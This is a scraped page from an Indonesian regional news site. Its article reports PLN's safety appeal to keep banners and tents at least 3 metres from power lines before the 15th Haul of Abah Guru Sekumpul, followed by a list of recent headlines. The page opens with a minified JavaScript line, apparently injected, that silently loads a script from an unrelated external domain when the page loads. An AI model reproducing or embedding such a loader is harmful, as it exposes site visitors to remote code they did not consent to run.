(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HAUL SEKUMPUL

Jelang Haul 15 Sekumpul, PLN: Perhatikan Jarak Aman Umbul-umbul dari Jaringan Listrik


KANALKALIMANTAN.COM, BANJARBARU – Jelang pelaksanaan Haul ke-15 Abah Guru Sekumpul pada 29 Februari-1 Maret 2020 nanti, PLN mengimbau masyarakat untuk memerhatikan jarak aman pemasangan umbul-umbul, tenda hingga spanduk dengan jarak bebas minimal 3 meter dari jaringan listrik.

Manager Komunikasi PLN Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah Syamsu Noor mengatakan, seperti tahun-tahun sebelumnya saat menyambut Haul Abah Guru Sekumpul banyak ditemukan aktivitas masyarakat yang melakukan pemasangan umbul-umbul, tenda hingga spanduk tidak sesuai jarak aman. Pihaknya khawatir jika tidak memperhatikan jarak aman akan berdampak pada gangguan jaringan listrik dan membahayakan keselamatan masyarakat.

“Sebagai salah satu upaya non teknis yang kami lakukan sebagai antisipasi terhadap gangguan jaringan listrik jelang Haul Guru Sekumpul adalah melakukan sosialisasi kepada masyarakat terkait pemasangan umbul-umbul. Kami tidak melarang tapi mengingatkan agar selalu memperhatikan jarak aman, dengan jarak bebas minimal 3 meter dari jaringan listrik,” jelas Syamsu.

Syamsu menjelaskan pihaknya sudah melakukan sosialisasi kepada masyarakat dan instansi pemerintah terkait dengan mengirim surat imbauan keselamatan ketenagalistrikan tentang jarak bebas dan ruang bebas minimal jaringan listrik terhadap obyek benda lain yang dituangkan dalam Perda Kalsel 09 tahun 2012 ke setiap kecamatan, Polsek hingga Polres yang ada di Kabupaten Banjar.

“Demi kelancaran pelaksanaan Haul Guru Sekumpul ke-15 ini kami sudah berkirim surat secara resmi kepada instansi terkait untuk bersama-sama mengimbau masyarakat agar memerhatikan jarak aman pemasangan umbul-umbul dari jaringan listrik,” jelasnya.

Sebagai tindakan pencegahan langsung di lapangan, PLN akan menerjunkan tim Keselamatan dan Kesehatan Kerja (K3) untuk melakukan inspeksi potensi bahaya jaringan listrik dari pemasangan umbul-umbul, tenda hingga spanduk di jalur utama distribusi listrik Haul Abah Guru Sekumpul. Jika ditemukan potensi bahaya, pihaknya akan mengambil tindakan penertiban dan peringatan kepada masyarakat terkait.

“Sebelum H-3 pelaksanaan haul nanti tim kami akan susur jaringan utama, jika ditemukan potensi bahaya kami akan mengambil tindakan, jika umbul-umbul atau spanduk kami akan tertibkan sementara, jika tenda kami akan peringatkan. Semua prosedur tersebut ada SOP nya dan tentu kami koordinasikan terlebih dahulu ke pihak terkait,” jelasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.